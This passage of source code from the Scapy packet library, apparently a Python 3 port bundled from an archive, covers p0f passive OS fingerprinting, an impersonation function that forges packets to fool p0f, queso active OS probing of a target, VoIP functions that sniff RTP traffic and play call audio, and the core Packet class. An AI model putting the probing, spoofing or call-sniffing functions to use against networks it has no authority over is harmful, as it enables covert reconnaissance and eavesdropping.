a TCP/IP packet") #if pkt.payload.flags & 0x7 != 0x02: #S,!F,!R # raise TypeError("Not a SYN or SYN/ACK packet") db = p0f_selectdb(pkt.payload.flags) #t = p0f_kdb.ttl_range[:] #t += [pkt.ttl] #t.sort() #ttl=t[t.index(pkt.ttl)+1] ttl = pkt.ttl df = (pkt.flags & 2) / 2 ss = len(pkt) # from p0f/config.h : PACKET_BIG = 100 if ss > 100: if db == p0fr_kdb: # p0fr.fp: "Packet size may be wildcarded. The meaning of # wildcard is, however, hardcoded as 'size > # PACKET_BIG'" ss = '*' else: ss = 0 # if db == p0fo_kdb: # p0fo.fp: "Packet size MUST be wildcarded." # ss = '*' ooo = "" mss = -1 qqT = False qqP = False #qqBroken = False ilen = (pkt.payload.dataofs << 2) - 20 # from p0f.c for option in pkt.payload.options: ilen -= 1 if option[0] == "MSS": ooo += "M" + str(option[1]) + "," mss = option[1] # FIXME: qqBroken ilen -= 3 elif option[0] == "WScale": ooo += "W" + str(option[1]) + "," # FIXME: qqBroken ilen -= 2 elif option[0] == "Timestamp": if option[1][0] == 0: ooo += "T0," else: ooo += "T," if option[1][1] != 0: qqT = True ilen -= 9 elif option[0] == "SAckOK": ooo += "S," ilen -= 1 elif option[0] == "NOP": ooo += "N," elif option[0] == "EOL": ooo += "E," if ilen > 0: qqP = True else: if type(option[0]) is str: ooo += "?%i," % TCPOptions[1][option[0]] else: ooo += "?%i," % option[0] # FIXME: ilen ooo = ooo[:-1] if ooo == "": ooo = "." win = pkt.payload.window if mss != -1: if mss != 0 and win % mss == 0: win = "S" + str(win/mss) elif win % (mss + 40) == 0: win = "T" + str(win/(mss+40)) win = str(win) qq = "" if db == p0fr_kdb: if pkt.payload.flags & 0x10 == 0x10: # p0fr.fp: "A new quirk, 'K', is introduced to denote # RST+ACK packets" qq += "K" # The two next cases should also be only for p0f*r*, but although # it's not documented (or I have not noticed), p0f seems to # support the '0' and 'Q' quirks on any databases (or at the least # "classical" p0f.fp). if pkt.payload.seq == pkt.payload.ack: # p0fr.fp: "A new quirk, 'Q', is used to denote SEQ number # equal to ACK number." qq += "Q" if pkt.payload.seq == 0: # p0fr.fp: "A new quirk, '0', is used to denote packets # with SEQ number set to 0." qq += "0" if qqP: qq += "P" if pkt.id == 0: qq += "Z" if pkt.options != []: qq += "I" if pkt.payload.urgptr != 0: qq += "U" if pkt.payload.reserved != 0: qq += "X" if pkt.payload.ack != 0: qq += "A" if qqT: qq += "T" # if db == p0fo_kdb: # if pkt.payload.flags & 0x20 != 0: # U # p0fo.fp: "PUSH flag is excluded from 'F' quirk checks" # qq += "F" # else: # if pkt.payload.flags & 0x28 != 0: # U or P qq += "F" #if db != p0fo_kdb and not isinstance(pkt.payload.payload, NoPayload): if not isinstance(pkt.payload.payload, NoPayload): # p0fo.fp: "'D' quirk is not checked for." qq += "D" # FIXME : "!" - broken options segment: not handled yet if qq == "": qq = "." return (db, (win, ttl, df, ss, ooo, qq)) def p0f_correl(x,y): d = 0 # wwww can be "*" or "%nn". "Tnn" and "Snn" should work fine with # the x[0] == y[0] test. d += (x[0] == y[0] or y[0] == "*" or (y[0][0] == "%" and x[0].isdigit() and (int(x[0]) % int(y[0][1:])) == 0)) # ttl d += (y[1] >= x[1] and y[1] - x[1] < 32) for i in [2, 5]: d += (x[i] == y[i] or y[i] == '*') # '*' has a special meaning for ss d += x[3] == y[3] xopt = x[4].split(",") yopt = y[4].split(",") if len(xopt) == len(yopt): same = True for i in range(len(xopt)): if not (xopt[i] == yopt[i] or (len(yopt[i]) == 2 and len(xopt[i]) > 1 and yopt[i][1] == "*" and xopt[i][0] == yopt[i][0]) or (len(yopt[i]) > 2 and len(xopt[i]) > 1 and yopt[i][1] == "%" and xopt[i][0] == yopt[i][0] and int(xopt[i][1:]) % int(yopt[i][2:]) == 0)): same = False break if same: d += len(xopt) return d @conf.commands.register def p0f(pkt): """Passive OS fingerprinting: which OS emitted this TCP packet ? p0f(packet) -> accuracy, [list of guesses] """ db, sig = packet2p0f(pkt) if db: pb = db.get_base() else: pb = [] if not pb: warning("p0f base empty.") return [] #s = len(pb[0][0]) r = [] max = len(sig[4].split(",")) + 5 for b in pb: d = p0f_correl(sig,b) if d == max: r.append((b[6], b[7], b[1] - pkt[IP].ttl)) return r def prnp0f(pkt): # we should print which DB we use try: r = p0f(pkt) except: return if r == []: r = ("UNKNOWN", "[" + ":".join([ str(i) for i in packet2p0f(pkt)[1]]) + ":?:?]", None) else: r = r[0] uptime = None try: uptime = pkt2uptime(pkt) except: pass if uptime == 0: uptime = None res = pkt.sprintf("%IP.src%:%TCP.sport% - " + r[0] + " " + r[1]) if uptime is not None: res += pkt.sprintf(" (up: " + str(uptime//3600) + " hrs)\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") else: res += pkt.sprintf("\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") if r[2] is not None: res += " (distance " + str(r[2]) + ")" print(res) @conf.commands.register def pkt2uptime(pkt, HZ=100): """Calculate the date the machine which emitted the packet booted using TCP timestamp pkt2uptime(pkt, [HZ=100])""" if not isinstance(pkt, Packet): raise TypeError("Not a TCP packet") if isinstance(pkt,NoPayload): raise TypeError("Not a TCP packet") if not isinstance(pkt, TCP): return pkt2uptime(pkt.payload) for opt in pkt.options: if opt[0] == "Timestamp": #t = pkt.time - opt[1][0] * 1.0/HZ #return time.ctime(t) t = opt[1][0] / HZ return t raise TypeError("No timestamp option") def p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None, extrahops=0, mtu=1500, uptime=None): """Modifies pkt so that p0f will think it has been sent by a specific OS. If osdetails is None, then we randomly pick up a personality matching osgenre. If osgenre and signature are also None, we use a local signature (using p0f_getlocalsigs). If signature is specified (as a tuple), we use the signature. For now, only TCP Syn packets are supported. Some specifications of the p0f.fp file are not (yet) implemented.""" pkt = pkt.copy() #pkt = pkt.__class__(str(pkt)) while pkt.haslayer(IP) and pkt.haslayer(TCP): pkt = pkt.getlayer(IP) if isinstance(pkt.payload, TCP): break pkt = pkt.payload if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): raise TypeError("Not a TCP/IP packet") if uptime is None: uptime = random.randint(120,100*60*60*24*365) db = p0f_selectdb(pkt.payload.flags) if osgenre: pb = db.get_base() if pb is None: pb = [] #pb = filter(lambda x: x[6] == osgenre, pb) pb = [ x for x in pb if x[6] == osgenre ] if osdetails: #pb = filter(lambda x: x[7] == osdetails, pb) pb = [ x for x in pb if x[7] == osdetails ] elif signature: pb = [signature] else: pb = p0f_getlocalsigs()[db] if db == p0fr_kdb: # 'K' quirk <=> RST+ACK if pkt.payload.flags & 0x4 == 0x4: #pb = filter(lambda x: 'K' in x[5], pb) pb = [ x for x in pb if 'K' in x[5] ] else: #pb = filter(lambda x: 'K' not in x[5], pb) pb = [ x for x in pb if 'K' not in x[5] ] if not pb: raise Scapy_Exception("No match in the p0f database") pers = pb[random.randint(0, len(pb) - 1)] # options (we start with options because of MSS) ## TODO: let the options already set if they are valid options = [] if pers[4] != '.': for opt in pers[4].split(','): if opt[0] == 'M': # MSS might have a maximum size because of window size # specification if pers[0][0] == 'S': maxmss = (2**16-1) / int(pers[0][1:]) else: maxmss = (2**16-1) # If we have to randomly pick up a value, we cannot use # scapy RandXXX() functions, because the value has to be # set in case we need it for the window size value. That's # why we use random.randint() if opt[1:] == '*': options.append(('MSS', random.randint(1,maxmss))) elif opt[1] == '%': coef = int(opt[2:]) options.append(('MSS', coef*random.randint(1,maxmss/coef))) else: options.append(('MSS', int(opt[1:]))) elif opt[0] == 'W': if opt[1:] == '*': options.append(('WScale', RandByte())) elif opt[1] == '%': coef = int(opt[2:]) options.append(('WScale', coef*RandNum(min=1, max=(2**8-1)/coef))) else: options.append(('WScale', int(opt[1:]))) elif opt == 'T0': options.append(('Timestamp', (0, 0))) elif opt == 'T': if 'T' in pers[5]: # FIXME: RandInt() here does not work (bug (?) in # TCPOptionsField.m2i often raises "OverflowError: # long int too large to convert to int" in: # oval = struct.pack(ofmt, *oval)" # Actually, this is enough to often raise the error: # struct.pack('I', RandInt()) options.append(('Timestamp', (uptime, random.randint(1,2**32-1)))) else: options.append(('Timestamp', (uptime, 0))) elif opt == 'S': options.append(('SAckOK', '')) elif opt == 'N': options.append(('NOP', None)) elif opt == 'E': options.append(('EOL', None)) elif opt[0] == '?': if int(opt[1:]) in TCPOptions[0]: optname = TCPOptions[0][int(opt[1:])][0] optstruct = TCPOptions[0][int(opt[1:])][1] options.append((optname, struct.unpack(optstruct, RandString(struct.calcsize(optstruct))._fix()))) else: options.append((int(opt[1:]), '')) ## FIXME: qqP not handled else: warning("unhandled TCP option " + opt) pkt.payload.options = options # window size if pers[0] == '*': pkt.payload.window = RandShort() elif pers[0].isdigit(): pkt.payload.window = int(pers[0]) elif pers[0][0] == '%': coef = int(pers[0][1:]) pkt.payload.window = coef * RandNum(min=1,max=(2**16-1)/coef) elif pers[0][0] == 'T': pkt.payload.window = mtu * int(pers[0][1:]) elif pers[0][0] == 'S': ## needs MSS set #MSS = filter(lambda x: x[0] == 'MSS', options) MSS = [ x for x in options if x[0] == 'MSS' ] if not MSS: raise Scapy_Exception("TCP window value requires MSS, and MSS option not set") pkt.payload.window = MSS[0][1] * int(pers[0][1:]) else: raise Scapy_Exception('Unhandled window size specification') # ttl pkt.ttl = pers[1]-extrahops # DF flag pkt.flags |= (2 * pers[2]) ## FIXME: ss (packet size) not handled (how ? may be with D quirk ## if present) # Quirks if pers[5] != '.': for qq in pers[5]: ## FIXME: not handled: P, I, X, ! # T handled with the Timestamp option if qq == 'Z': pkt.id = 0 elif qq == 'U': pkt.payload.urgptr = RandShort() elif qq == 'A': pkt.payload.ack = RandInt() elif qq == 'F': #if db == p0fo_kdb: # pkt.payload.flags |= 0x20 # U #else: pkt.payload.flags |= RandChoice(8, 32, 40) #P / U / PU elif qq == 'D' and db != p0fo_kdb: pkt /= conf.raw_layer(load=RandString(random.randint(1, 10))) # XXX p0fo.fp elif qq == 'Q': pkt.payload.seq = pkt.payload.ack #elif qq == '0': pkt.payload.seq = 0 #if db == p0fr_kdb: # '0' quirk is actually not only for p0fr.fp (see # packet2p0f()) if '0' in pers[5]: pkt.payload.seq = 0 elif pkt.payload.seq == 0: pkt.payload.seq = RandInt() while pkt.underlayer: pkt = pkt.underlayer return pkt def p0f_getlocalsigs(): """This function returns a dictionary of signatures indexed by p0f db (e.g., p0f_kdb, p0fa_kdb, ...) for the local TCP/IP stack. You need to have your firewall at least accepting the TCP packets from/to a high port (30000 <= x <= 40000) on your loopback interface. Please note that the generated signatures come from the loopback interface and may (are likely to) be different than those generated on "normal" interfaces.""" pid = os.fork() port = random.randint(30000, 40000) if pid > 0: # parent: sniff result = {} def addresult(res): # TODO: wildcard window size in some cases? and maybe some # other values? if res[0] not in result: result[res[0]] = [res[1]] else: if res[1] not in result[res[0]]: result[res[0]].append(res[1]) # XXX could we try with a "normal" interface using other hosts iface = conf.route.route('127.0.0.1')[0] # each packet is seen twice: S + RA, S + SA + A + FA + A # XXX are the packets also seen twice on non Linux systems ? count=14 pl = sniff(iface=iface, filter='tcp and port ' + str(port), count = count, timeout=3) map(addresult, map(packet2p0f, pl)) os.waitpid(pid,0) elif pid < 0: log_runtime.error("fork error") else: # child: send # XXX erk time.sleep(1) s1 = socket.socket(socket.AF_INET, type = socket.SOCK_STREAM) # S & RA try: s1.connect(('127.0.0.1', port)) except socket.error: pass # S, SA, A, FA, A s1.bind(('127.0.0.1', port)) s1.connect(('127.0.0.1', port)) # howto: get an RST w/o ACK packet s1.close() os._exit(0) return result scapy-0.23/scapy/modules/queso.py000066400000000000000000000054761320561231000170570ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Clone of queso OS fingerprinting """ from scapy.data import KnowledgeBase from scapy.config import conf from scapy.layers.inet import IP,TCP #from conf.queso_base ="/etc/queso.conf" ################# ## Queso stuff ## ################# def quesoTCPflags(flags): if flags == "-": return "-" flv = "FSRPAUXY" v = 0 for i in flags: v |= 2**flv.index(i) return "%x" % v class QuesoKnowledgeBase(KnowledgeBase): def lazy_init(self): try: f = open(self.filename) except IOError: return self.base = {} p = None try: for l in f: l = l.strip() if not l or l[0] == ';': continue if l[0] == '*': if p is not None: p[""] = name name = l[1:].strip() p = self.base continue if l[0] not in list("0123456"): continue res = l[2:].split() res[-1] = quesoTCPflags(res[-1]) res = " ".join(res) if not res in p: p[res] = {} p = p[res] if p is not None: p[""] = name except: self.base = None warning("Can't load queso base [%s]", self.filename) f.close() queso_kdb = QuesoKnowledgeBase(conf.queso_base) def queso_sig(target, dport=80, timeout=3): p = queso_kdb.get_base() ret = [] for flags in ["S", "SA", "F", "FA", "SF", "P", "SEC"]: ans, unans = sr(IP(dst=target)/TCP(dport=dport,flags=flags,seq=RandInt()), timeout=timeout, verbose=0) if len(ans) == 0: rs = "- - - -" else: s,r = ans[0] rs = "%i" % (r.seq != 0) if not r.ack: r += " 0" elif r.ack-s.seq > 666: rs += " R" % 0 else: rs += " +%i" % (r.ack-s.seq) rs += " %X" % r.window rs += " %x" % r.payload.flags ret.append(rs) return ret def queso_search(sig): p = queso_kdb.get_base() sig.reverse() ret = [] try: while sig: s = sig.pop() p = p[s] if "" in p: ret.append(p[""]) except KeyError: pass return ret @conf.commands.register def queso(*args,**kargs): """Queso OS fingerprinting queso(target, dport=80, timeout=3)""" return queso_search(queso_sig(*args, **kargs)) scapy-0.23/scapy/modules/voip.py000066400000000000000000000077771320561231000167060ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ VoIP (Voice over IP) related functions """ import os ################### ## Testing stuff ## ################### from fcntl import fcntl from scapy.sendrecv import sniff from scapy.layers.inet import IP,UDP from scapy.layers.rtp import RTP from scapy.utils import get_temp_file def merge(x,y,sample_size=2): if len(x) > len(y): y += "\x00"*(len(x)-len(y)) elif len(x) < len(y): x += "\x00"*(len(y)-len(x)) m = "" ss=sample_size for i in range(len(x)/ss): m += x[ss*i:ss*(i+1)]+y[ss*i:ss*(i+1)] return m # return "".join(map(str.__add__, x, y)) def voip_play(s1,list=None,**kargs): FIFO=get_temp_file() FIFO1=FIFO % 1 FIFO2=FIFO % 2 os.mkfifo(FIFO1) os.mkfifo(FIFO2) try: os.system("soxmix -t .ul %s -t .ul %s -t ossdsp /dev/dsp &" % (FIFO1,FIFO2)) c1=open(FIFO1,"w", 4096) c2=open(FIFO2,"w", 4096) fcntl.fcntl(c1.fileno(),fcntl.F_SETFL, os.O_NONBLOCK) fcntl.fcntl(c2.fileno(),fcntl.F_SETFL, os.O_NONBLOCK) # dsp,rd = os.popen2("sox -t .ul -c 2 - -t ossdsp /dev/dsp") def play(pkt,last=[]): if not pkt: return if not pkt.haslayer(UDP): return ip=pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: if not last: last.append(pkt) return load=last.pop() # x1 = load.load[12:] c1.write(load.load[12:]) if load.getlayer(IP).src == ip.src: # x2 = "" c2.write("\x00"*len(load.load[12:])) last.append(pkt) else: # x2 = pkt.load[:12] c2.write(pkt.load[12:]) # dsp.write(merge(x1,x2)) if list is None: sniff(store=0, prn=play, **kargs) else: for p in list: play(p) finally: os.unlink(FIFO1) os.unlink(FIFO2) def voip_play1(s1,list=None,**kargs): dsp,rd = os.popen2("sox -t .ul - -t ossdsp /dev/dsp") def play(pkt): if not pkt: return if not pkt.haslayer(UDP): return ip=pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: dsp.write(pkt.getlayer(conf.raw_layer).load[12:]) try: if list is None: sniff(store=0, prn=play, **kargs) else: for p in list: play(p) finally: dsp.close() rd.close() def voip_play2(s1,**kargs): dsp,rd = os.popen2("sox -t .ul -c 2 - -t ossdsp /dev/dsp") def play(pkt,last=[]): if not pkt: return if not pkt.haslayer(UDP): return ip=pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: if not last: last.append(pkt) return load=last.pop() x1 = load.load[12:] # c1.write(load.load[12:]) if load.getlayer(IP).src == ip.src: x2 = "" # c2.write("\x00"*len(load.load[12:])) last.append(pkt) else: x2 = pkt.load[:12] # c2.write(pkt.load[12:]) dsp.write(merge(x1,x2)) sniff(store=0, prn=play, **kargs) def voip_play3(lst=None,**kargs): dsp,rd = os.popen2("sox -t .ul - -t ossdsp /dev/dsp") try: def play(pkt, dsp=dsp): if pkt and pkt.haslayer(UDP) and pkt.haslayer(conf.raw_layer): dsp.write(pkt.getlayer(RTP).load) if lst is None: sniff(store=0, prn=play, **kargs) else: for p in lst: play(p) finally: try: dsp.close() rd.close() except: pass scapy-0.23/scapy/packet.py000066400000000000000000001323571320561231000155210ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Packet class. Binding mechanism. fuzz() method. """ import time,itertools,os,random import sys,traceback import copy from .fields import StrField,ConditionalField,Emph,PacketListField,FlagsField from .config import conf from .base_classes import BasePacket,Gen,SetGen,Packet_metaclass,NewDefaultValues from .volatile import VolatileValue from .utils import import_hexcap,tex_escape,colgen,get_temp_file from .error import Scapy_Exception,log_runtime, warning import subprocess try: import pyx except ImportError: pass class RawVal: def __init__(self, val=b""): assert type(val) == bytes self.val = val def __str__(self): return str(self.val) def __repr__(self): return "" % self.val def bytes(self): return self.val class Packet(BasePacket, metaclass = Packet_metaclass): name=None fields_desc = [] aliastypes = [] overload_fields = {} underlayer = None sent_time = None payload_guess = [] initialized = 0 show_indent=1 explicit = 0 raw_packet_cache = None @classmethod def from_hexcap(cls): return cls(import_hexcap()) @classmethod def upper_bonds(self): for fval,upper in self.payload_guess: print("%-20s %s" % (upper.__name__, ", ".join("%-12s" % ("%s=%r"%i) for i in fval.items()))) @classmethod def lower_bonds(self): for lower,fval in self.overload_fields.items(): print("%-20s %s" % (lower.__name__, ", ".join("%-12s" % ("%s=%r"%i) for i in fval.items()))) def __init__(self, _pkt=b"", post_transform=None, _internal=0, _underlayer=None, **fields): self.time = time.time() self.sent_time = 0 if self.name is None: self.name = self.__class__.__name__ self.aliastypes = [ self.__class__ ] + self.aliastypes self.default_fields = {} self.overloaded_fields = {} self.fields={} self.fieldtype={} self.packetfields=[] self.__dict__["payload"] = NoPayload() self.init_fields() self.underlayer = _underlayer self.initialized = 1 self.original = _pkt if _pkt: self.dissect(_pkt) if not _internal: self.dissection_done(self) for f in fields.keys(): self.fields[f] = self.get_field(f).any2i(self,fields[f]) if type(post_transform) is list: self.post_transforms = post_transform elif post_transform is None: self.post_transforms = [] else: self.post_transforms = [post_transform] def init_fields(self): self.do_init_fields(self.fields_desc) def do_init_fields(self, flist): for f in flist: self.default_fields[f.name] = copy.deepcopy(f.default) self.fieldtype[f.name] = f if f.holds_packets: self.packetfields.append(f) def dissection_done(self,pkt): """DEV: will be called after a dissection is completed""" self.post_dissection(pkt) self.payload.dissection_done(pkt) def post_dissection(self, pkt): """DEV: is called after the dissection of the whole packet""" pass def get_field(self, fld): """DEV: returns the field instance from the name of the field""" return self.fieldtype[fld] def add_payload(self, payload): if payload is None: return elif not isinstance(self.payload, NoPayload): self.payload.add_payload(payload) else: if isinstance(payload, Packet): self.__dict__["payload"] = payload payload.add_underlayer(self) for t in self.aliastypes: if t in payload.overload_fields: self.overloaded_fields = payload.overload_fields[t] break #elif type(payload) is str: elif type(payload) is bytes: self.__dict__["payload"] = conf.raw_layer(load=payload) else: raise TypeError("payload must be either 'Packet' or 'bytes', not [%s]" % repr(payload)) def remove_payload(self): self.payload.remove_underlayer(self) self.__dict__["payload"] = NoPayload() self.overloaded_fields = {} def add_underlayer(self, underlayer): self.underlayer = underlayer def remove_underlayer(self,other): self.underlayer = None def copy(self): """Returns a deep copy of the instance.""" clone = self.__class__() clone.fields = self.fields.copy() for k in clone.fields: clone.fields[k] = self.get_field(k).do_copy(clone.fields[k]) clone.default_fields = self.default_fields.copy() clone.overloaded_fields = self.overloaded_fields.copy() clone.overload_fields = self.overload_fields.copy() clone.underlayer = self.underlayer clone.explicit = self.explicit clone.raw_packet_cache = self.raw_packet_cache clone.post_transforms = self.post_transforms[:] clone.__dict__["payload"] = self.payload.copy() clone.payload.add_underlayer(clone) clone.time = self.time clone.sent_time = self.sent_time return clone def getfieldval(self, attr): if attr in self.fields: return self.fields[attr] if attr in self.overloaded_fields: return self.overloaded_fields[attr] if attr in self.default_fields: return self.default_fields[attr] return self.payload.getfieldval(attr) def getbyteval(self, attr): fld,v = self.getfield_and_val(attr) return fld.i2b(self, v) def getstrval(self, attr): fld,v = self.getfield_and_val(attr) return fld.i2repr(self, v) def getdictval(self, attr): fld,v = self.getfield_and_val(attr) return fld.i2dict(self, v) def getfield_and_val(self, attr): if attr in self.fields: return self.get_field(attr),self.fields[attr] if attr in self.overloaded_fields: return self.get_field(attr),self.overloaded_fields[attr] if attr in self.default_fields: return self.get_field(attr),self.default_fields[attr] return self.payload.getfield_and_val(attr) def __getattr__(self, attr): if self.initialized: fld,v = self.getfield_and_val(attr) if fld is not None: return fld.i2h(self, v) return v raise AttributeError(attr) def setfieldval(self, attr, val): if attr in self.default_fields: fld = self.get_field(attr) if fld is None: any2i = lambda x,y: y else: any2i = fld.any2i self.fields[attr] = any2i(self, val) self.explicit = 0 self.raw_packet_cache = None elif attr == "payload": self.remove_payload() self.add_payload(val) else: self.payload.setfieldval(attr,val) def __setattr__(self, attr, val): if self.initialized: try: self.setfieldval(attr,val) except AttributeError: pass else: return self.__dict__[attr] = val def delfieldval(self, attr): if attr in self.fields: del(self.fields[attr]) self.explicit = 0 # in case a default value must be explicited self.raw_packet_cache = None elif attr in self.default_fields: pass elif attr == "payload": self.remove_payload() else: self.payload.delfieldval(attr) def __delattr__(self, attr): if self.initialized: try: self.delfieldval(attr) except AttributeError: pass else: return if attr in self.__dict__: del(self.__dict__[attr]) else: raise AttributeError(attr) def __repr__(self): s = "" ct = conf.color_theme for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue if f.name in self.fields: val = f.i2repr(self, self.fields[f.name]) elif f.name in self.overloaded_fields: val = f.i2repr(self, self.overloaded_fields[f.name]) else: continue if isinstance(f, Emph) or f in conf.emph: ncol = ct.emph_field_name vcol = ct.emph_field_value else: ncol = ct.field_name vcol = ct.field_value s += " %s%s%s" % (ncol(f.name), ct.punct("="), vcol(val)) return "%s%s %s %s%s%s"% (ct.punct("<"), ct.layer_name(self.__class__.__name__), s, ct.punct("|"), repr(self.payload), ct.punct(">")) #def __str__(self): #TODO3 FIX def __str__(self): warning("Unless called manually, this could indicate deprecated use. Should be changed to bytes(self)") return repr(bytes(self)) def __bytes__(self): return self.build() def __div__(self, other): if isinstance(other, Packet): cloneA = self.copy() cloneB = other.copy() cloneA.add_payload(cloneB) return cloneA elif type(other) is str: return self/conf.raw_layer(load=other.encode('ascii')) elif type(other) is bytes: return self/conf.raw_layer(load=other) else: return other.__rdiv__(self) __truediv__ = __div__ def __rdiv__(self, other): if type(other) is str: return conf.raw_layer(load=other.encode('ascii'))/self if type(other) is bytes: return conf.raw_layer(load=other)/self else: raise TypeError __rtruediv__ = __rdiv__ def __mul__(self, other): if type(other) is int: return [self]*other else: raise TypeError def __rmul__(self,other): return self.__mul__(other) def __bool__(self): return True def __len__(self): return len(bytes(self)) def self_build(self, field_pos_list=None): if self.raw_packet_cache is not None: return self.raw_packet_cache p=b"" for f in self.fields_desc: #print(f.name) val = self.getfieldval(f.name) if isinstance(val, RawVal): #sval = str(val) sval = bytes(val) p += sval if field_pos_list is not None: field_pos_list.append( (f.name, sval.encode("string_escape"), len(p), len(sval) ) ) else: p = f.addfield(self, p, val) return p def do_build_payload(self): return self.payload.do_build() def do_build(self): if not self.explicit: self = next(self.__iter__()) pkt = self.self_build() for t in self.post_transforms: pkt = t(pkt) pay = self.do_build_payload() p = self.post_build(pkt,pay) return p def build_padding(self): return self.payload.build_padding() def build(self): p = self.do_build() p += self.build_padding() p = self.build_done(p) return p def post_build(self, pkt, pay): """DEV: called right after the current layer is build.""" return pkt+pay def build_done(self, p): return self.payload.build_done(p) def do_build_ps(self): p=b"" pl = [] q=b"" for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue p = f.addfield(self, p, self.getfieldval(f.name) ) if type(p) is bytes: r = p[len(q):] q = p else: r = b"" pl.append( (f, f.i2repr(self,self.getfieldval(f.name)), r) ) pkt,lst = self.payload.build_ps(internal=1) p += pkt lst.append( (self, pl) ) return p,lst def build_ps(self,internal=0): p,lst = self.do_build_ps() # if not internal: # pkt = self # while pkt.haslayer(conf.padding_layer): # pkt = pkt.getlayer(conf.padding_layer) # lst.append( (pkt, [ ("loakjkjd", pkt.load, pkt.load) ] ) ) # p += pkt.load # pkt = pkt.payload return p,lst def psdump(self, filename=None, **kargs): """psdump(filename=None, layer_shift=0, rebuild=1) Creates an EPS file describing a packet. If filename is not provided a temporary file is created and gs is called.""" canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=".eps") canvas.writeEPSfile(fname) subprocess.Popen([conf.prog.psreader, fname+".eps"]) else: canvas.writeEPSfile(filename) def pdfdump(self, filename=None, **kargs): """pdfdump(filename=None, layer_shift=0, rebuild=1) Creates a PDF file describing a packet. If filename is not provided a temporary file is created and xpdf is called.""" canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=".pdf") canvas.writePDFfile(fname) subprocess.Popen([conf.prog.pdfreader, fname+".pdf"]) else: canvas.writePDFfile(filename) def canvas_dump(self, layer_shift=0, rebuild=1): canvas = pyx.canvas.canvas() if rebuild: p,t = self.__class__(bytes(self)).build_ps() else: p,t = self.build_ps() YTXT=len(t) for n,l in t: YTXT += len(l) YTXT = float(YTXT) YDUMP=YTXT XSTART = 1 XDSTART = 10 y = 0.0 yd = 0.0 xd = 0 XMUL= 0.55 YMUL = 0.4 backcolor=colgen(0.6, 0.8, 1.0, trans=pyx.color.rgb) forecolor=colgen(0.2, 0.5, 0.8, trans=pyx.color.rgb) # backcolor=makecol(0.376, 0.729, 0.525, 1.0) def hexstr(x): s = [] for c in x: s.append("%02x" % c) return " ".join(s) def make_dump_txt(x,y,txt): return pyx.text.text(XDSTART+x*XMUL, (YDUMP-y)*YMUL, r"\tt{%s}"%hexstr(txt), [pyx.text.size.Large]) def make_box(o): return pyx.box.rect(o.left(), o.bottom(), o.width(), o.height(), relcenter=(0.5,0.5)) def make_frame(lst): if len(lst) == 1: b = lst[0].bbox() b.enlarge(pyx.unit.u_pt) return b.path() else: fb = lst[0].bbox() fb.enlarge(pyx.unit.u_pt) lb = lst[-1].bbox() lb.enlarge(pyx.unit.u_pt) if len(lst) == 2 and fb.left() > lb.right(): return pyx.path.path(pyx.path.moveto(fb.right(), fb.top()), pyx.path.lineto(fb.left(), fb.top()), pyx.path.lineto(fb.left(), fb.bottom()), pyx.path.lineto(fb.right(), fb.bottom()), pyx.path.moveto(lb.left(), lb.top()), pyx.path.lineto(lb.right(), lb.top()), pyx.path.lineto(lb.right(), lb.bottom()), pyx.path.lineto(lb.left(), lb.bottom())) else: # XXX gb = lst[1].bbox() if gb != lb: gb.enlarge(pyx.unit.u_pt) kb = lst[-2].bbox() if kb != gb and kb != lb: kb.enlarge(pyx.unit.u_pt) return pyx.path.path(pyx.path.moveto(fb.left(), fb.top()), pyx.path.lineto(fb.right(), fb.top()), pyx.path.lineto(fb.right(), kb.bottom()), pyx.path.lineto(lb.right(), kb.bottom()), pyx.path.lineto(lb.right(), lb.bottom()), pyx.path.lineto(lb.left(), lb.bottom()), pyx.path.lineto(lb.left(), gb.top()), pyx.path.lineto(fb.left(), gb.top()), pyx.path.closepath(),) def make_dump(s, shift=0, y=0, col=None, bkcol=None, larg=16): c = pyx.canvas.canvas() tlist = [] while s: dmp,s = s[:larg-shift],s[larg-shift:] txt = make_dump_txt(shift, y, dmp) tlist.append(txt) shift += len(dmp) if shift >= 16: shift = 0 y += 1 if col is None: col = pyx.color.rgb.red if bkcol is None: col = pyx.color.rgb.white c.stroke(make_frame(tlist),[col,pyx.deco.filled([bkcol]),pyx.style.linewidth.Thick]) for txt in tlist: c.insert(txt) return c, tlist[-1].bbox(), shift, y last_shift,last_y=0,0.0 while t: bkcol = next(backcolor) proto,fields = t.pop() y += 0.5 pt = pyx.text.text(XSTART, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % proto.name, [ pyx.text.size.Large]) y += 1 ptbb=pt.bbox() ptbb.enlarge(pyx.unit.u_pt*2) canvas.stroke(ptbb.path(),[pyx.color.rgb.black, pyx.deco.filled([bkcol])]) canvas.insert(pt) for fname, fval, fdump in fields: col = next(forecolor) ft = pyx.text.text(XSTART, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fname.name)) if isinstance(fval, str): if len(fval) > 18: fval = fval[:18]+"[...]" else: fval="" vt = pyx.text.text(XSTART+3, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fval)) y += 1.0 if fdump: dt,target,last_shift,last_y = make_dump(fdump, last_shift, last_y, col, bkcol) dtb = dt.bbox() dtb=target vtb = vt.bbox() bxvt = make_box(vtb) bxdt = make_box(dtb) dtb.enlarge(pyx.unit.u_pt) try: if yd < 0: cnx = pyx.connector.curve(bxvt,bxdt,absangle1=0, absangle2=-90) else: cnx = pyx.connector.curve(bxvt,bxdt,absangle1=0, absangle2=90) except: pass else: canvas.stroke(cnx,[pyx.style.linewidth.thin,pyx.deco.earrow.small,col]) canvas.insert(dt) 